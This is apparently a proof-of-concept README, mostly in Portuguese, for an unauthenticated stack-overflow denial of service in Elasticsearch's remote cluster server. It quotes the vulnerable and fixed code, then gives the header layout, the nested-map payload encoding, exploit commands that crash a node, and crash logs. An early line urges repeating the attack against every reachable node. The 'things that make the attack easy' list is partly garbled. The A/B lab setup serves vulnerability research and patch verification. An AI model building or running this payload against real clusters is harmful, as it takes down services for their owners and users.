
PoC e laboratório A/B conteinerizado para CVE-2026-115290, um DoS não autenticado no servidor de cluster remoto do Elasticsearch via recursão de desserialização sem limites (CWE-674).
Causa raiz: Recursão não controlada (CWE-674). O nó desserializa bytes fornecidos pelo atacante
antes de verificar a chave de API: um único pedido TCP não autenticado para a porta do servidor de cluster remoto é
suficiente para rebentar a pilha de um worker com um StackOverflowError e derrubar o nó. Repetir contra todos os
nós acessíveis.
| CVE | CVE-2026-115290 |
| Aviso | Elastic ESA-2026-201 (2026-11-03) |
| Gravidade | CVSS 3.1 7.5 Alta, vetor AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Afetado | Elasticsearch 8.10.0 a 8.19.23, 9.0.0 a 9.4.8, 9.5.0 a 9.5.5, com remote_cluster_server.enabled: true |
| Corrigido | 8.19.24 / 9.4.9 / 9.5.6 |
| Commit da correção | 0b1b229c8c ("Verify API key before decoding cross-cluster info", elastic/elasticsearch #161492) |
| Pré-requisitos | Licença Enterprise / trial (funcionalidade advanced-remote-cluster-security), interface ativada |
CrossClusterAccessAuthenticationService.authenticate() (≤ 8.19.23) descodificava o cabeçalho
subject-info controlado pelo remetente o mais cedo possível para que os eventos de auditoria pudessem incluir o id da chave de API:
// 8.19.23, vulnerable build
public static CrossClusterAccessHeaders readFromContext(final ThreadContext ctx) {
final String credentialsHeader = ctx.getHeader(CROSS_CLUSTER_ACCESS_CREDENTIALS_HEADER_KEY);
parseCredentialsHeader(credentialsHeader).close(); // (1) format-check only
return new CrossClusterAccessHeaders(credentialsHeader,
CrossClusterAccessSubjectInfo.readFromContext(ctx)); // (2) DECODES attacker bytes, pre-auth
}
A decodificação é desserialização pura, sem limites de profundidade:
public static CrossClusterAccessSubjectInfo decode(final String header) {
byte[] bytes = Base64.getDecoder().decode(header);
StreamInput in = StreamInput.wrap(bytes);
TransportVersion version = TransportVersion.readVersion(in); // attacker-chosen
in.setTransportVersion(version);
Authentication authentication = new Authentication(in); // -> readMetadata -> readGenericValue
...
}
StreamInput.readGenericValue() entra em recursão sem qualquer limite de profundidade em mapas aninhados (tag de tipo 10).
Cerca de 200 mil mapas aninhados de entrada única são suficientes para estourar a pilha da thread de transporte dentro de decode().
Corrigido (8.19.24): as informações do subject permanecem codificadas até que a API key seja autenticada, de modo que requisições não autenticadas nunca chegam ao desserializador:
// 8.19.24, CrossClusterAccessRequestHeaders keeps the header as a String
final String subjectInfoHeader = requiredHeader(ctx, CROSS_CLUSTER_ACCESS_SUBJECT_INFO_HEADER_KEY);
...
// only after successful API-key authentication:
final CrossClusterAccessSubjectInfo subjectInfo = requestHeaders.decodeSubjectInfo().cleanAndValidate();
attacker ──TCP :9443──> remote cluster server port (profile _remote_cluster)
ES transport frame: action "indices:data/read/search" (any registered action)
ThreadContext headers:
_cross_cluster_access_credentials = "ApiKey <base64(id:key)>" (format-valid, key unknown)
_cross_cluster_access_subject_info = base64(vInt TransportVersion + Authentication{ metadata =
{ "poc_nested": {a: {a: {a: ... 200k deep ... }}} } } + roleDescriptorsBytesList[])
InboundHandler.handleRequest -> RequestHandlerRegistry (action exists) ->
ProfileSecuredRequestHandler.messageReceived (profile _remote_cluster) ->
CrossClusterAccessServerTransportFilter.authenticate -> license check -> header presence check ->
CrossClusterAccessAuthenticationService.authenticate -> CrossClusterAccessHeaders.readFromContext ->
CrossClusterAccessSubjectInfo.decode -> StreamInput.readGenericValue (unbounded) -> StackOverflowError
-> netty exceptionCaught -> ExceptionsHelper.maybeDieOnAnotherThread ->
ElasticsearchUncaughtExceptionHandler: "fatal error in thread [...], exiting" -> Runtime.halt(126)
Coisas que tornam o ataque fácil:
TransportVersion.isCompatible);TransportVersion (lida com readVInt), então os ramos de desserialização
podem ser direcionados independentemente da versão do cabeçalho da mensagem;ApiKey <base64(id:key)>), a chave em si nunca precisa
autenticar porque o crash ocorre antes disso ser executado;readGenericValue: 0 string, 10 map (recursivo), 0xFF null; strings são
vInt charCount + utf8; ints são vInts LEB128 de 7 bits.poc/poc.py PoC client (stdlib-only): check | exploit | dump
lab/run-lab.sh podman lab: vulnerable 8.19.23 (:9200/:9443) + fixed 8.19.24 (:9201/:9444)
lab/es-*/elasticsearch.yml node configs (RCS enabled, TLS off, trial license, security on)
lab/stop-lab.sh
evidence/ captured logs + PoC transcripts (not published)
podman pull docker.elastic.co/elasticsearch/elasticsearch:8.19.23 \
docker.elastic.co/elasticsearch/elasticsearch:8.19.24
./lab/run-lab.sh # both containers capped at --cpus 2 --memory 4g
# 1) unauthenticated handshake probe on the vulnerable node's RCS port
python3 poc/poc.py check --host 127.0.0.1 --port 9443
# 2) kill the vulnerable node
python3 poc/poc.py exploit --host 127.0.0.1 --port 9443
# connection drops, node exits with "fatal error in thread [...], exiting", halt(126)
# 3) A/B: identical payload against the fixed build, node survives and rejects the auth
python3 poc/poc.py exploit --host 127.0.0.1 --port 9444
./lab/stop-lab.sh
Implantações TLS: adicione --tls a qualquer modo.
Reprodução em nível de unidade (opcional): o payload sozinho pode ser alimentado ao decodificador real:
CrossClusterAccessSubjectInfo.decode(header) -> StackOverflowError # verified against 8.19.23 jars
evidence/, reproduzidas neste laboratório)Nó vulnerável (8.19.23, es-vuln). Uma requisição exploit, não autenticada:
[*] server closed the connection after 0.40s (closed=True, got 0 bytes)
[+] NODE TERMINATED: remote cluster server port 9443 refuses connections -- unauthenticated DoS reproduced
podman ps -a: es-vuln Exited (126) # Runtime.halt(126) == uncaught StackOverflowError
elasticsearch.log (veja evidence/es-vuln-fatal.log):
ERROR "fatal error java.lang.StackOverflowError" ... Netty4MessageInboundHandler.exceptionCaught ->
ExceptionsHelper.maybeDieOnAnotherThread -> elasticsearch-error-rethrower
ERROR "fatal error in thread [elasticsearch-error-rethrower], exiting"
java.lang.StackOverflowError
at StreamInput.readGenericValue(StreamInput.java:859)
at StreamInput.readMap(StreamInput.java:751)
at StreamInput.readMap(StreamInput.java:736)
at StreamInput.readGenericValue(StreamInput.java:872) <- recursion loop, ~4 frames / nesting level
...
Nó fixo (8.19.24, es-fixed), payload idêntico:
[*] response frame: status=0x03 (error response)
[*] response text: "unable to find apikey with id cve-2026-115290"
at CrossClusterAccessAuthenticationService.lambda$tryAuthenticate$3 <- auth ran, decode never did
[!] node is STILL ALIVE after the payload
podman ps -a: es-fixed Up (serving)